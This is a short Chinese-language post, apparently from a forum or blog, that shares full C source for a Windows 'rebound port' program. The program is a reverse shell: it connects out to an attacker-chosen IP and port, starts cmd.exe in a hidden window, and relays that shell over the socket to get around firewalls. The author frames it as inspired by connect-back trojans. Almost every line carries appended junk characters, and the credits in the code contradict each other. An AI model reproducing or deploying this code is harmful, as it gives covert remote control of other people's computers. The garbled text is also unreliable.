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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H*&ZX AKv  
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/* ============================== R:}u(N  
Rebound port in Windows NT f}_d`?K  
By wind,2006/7 =O?#>3A}  
===============================*/ sHwn,4|iY  
#include .xIu  
#include vs|_l!n3  
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#pragma comment(lib,"wsock32.lib") IC:wof "  
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void OutputShell(); acdWU"<  
SOCKET sClient; [q5N 4&q\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *wOuw@09  
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void main(int argc,char **argv) 1FO T  
{ >tFv&1iR  
WSADATA stWsaData; NcVsQV  
int nRet; Y3J;Kk#AH  
SOCKADDR_IN stSaiClient,stSaiServer; iH#b"h{w  
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if(argc != 3) 'z}Hg *  
{ }CyS_Tc  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6-w'?G37  
return; 8iDg2_l`G  
} -< 0PBl  
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WSAStartup(MAKEWORD(2,2),&stWsaData); V&>\U?q:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;& PK6G  
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stSaiClient.sin_family = AF_INET;  KOQ9K  
stSaiClient.sin_port = htons(0); DIU9Le  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S ;; Z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7?O~3  
{ az=(6PX  
printf("Bind Socket Failed!\n"); U.[?1:v  
return; er[%Nt+99  
} V>2mz c  
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stSaiServer.sin_family = AF_INET; s, 8a1o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G\U'_G>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b35Z1sfD j  
SB3= 5"q  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3hrODts  
{ UOg4 E  
printf("Connect Error!"); H%*< t}  
return; P(Fd|).j$  
} RRBokj)]  
OutputShell(); +&p}iZp  
} Q6|~ks+Y  
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void OutputShell() =c>w  
{ guC7!P^  
char szBuff[1024]; 4p %=8G|  
SECURITY_ATTRIBUTES stSecurityAttributes; b BFdr  
OSVERSIONINFO stOsversionInfo; !w[io;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %!>~2=Q2*  
STARTUPINFO stStartupInfo; _Wjd`*  
char *szShell; aB(6yBBoxj  
PROCESS_INFORMATION stProcessInformation; [AZN a  
unsigned long lBytesRead; _IK@K 6V1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TyCMZsvM,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c<8RRYs  
stSecurityAttributes.lpSecurityDescriptor = 0; JBsHr%!i  
stSecurityAttributes.bInheritHandle = TRUE; "1U:qr2-H  
':v@Pr|  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZN:~etd  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l]s,CX  
^:0e pj7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <u"h'e/oW_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U1>VKP;5Nn  
stStartupInfo.wShowWindow = SW_HIDE; {cNH|  
stStartupInfo.hStdInput = hReadPipe; Z L3aO,G2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :!wdqn  
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GetVersionEx(&stOsversionInfo); ?Q< o-o;B  
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switch(stOsversionInfo.dwPlatformId) l&z)Q/>?pZ  
{ 5Y4 i|R  
case 1: zLs[vg.(  
szShell = "command.com"; 9\|n2$H:  
break; -F+dRzxH  
default: "SuBtoK  
szShell = "cmd.exe"; -n-rKN.T  
break; ;!CYp; _  
} `z=I}6){  
ml|[x M8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \?bp^BrI  
(]Z$mv!  
send(sClient,szMsg,77,0); [S}o[v\  
while(1) e6n^l $'  
{ _%)v9}D  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %#.H FK  
if(lBytesRead) 4DL;/Z:  
{ T4\F=iw4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =Of!1TR(  
send(sClient,szBuff,lBytesRead,0); *N0R3da  
} 1,p[4k~Ww  
else S >PTD@  
{ Lmy ^/P%  
lBytesRead=recv(sClient,szBuff,1024,0); ugM,wT&~Y  
if(lBytesRead<=0) break; dz',!|>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v@43 %`"Gj  
} tNskB`541  
} ? U:LAub  
}Om+,!_d  
return; TB]B l.  
}
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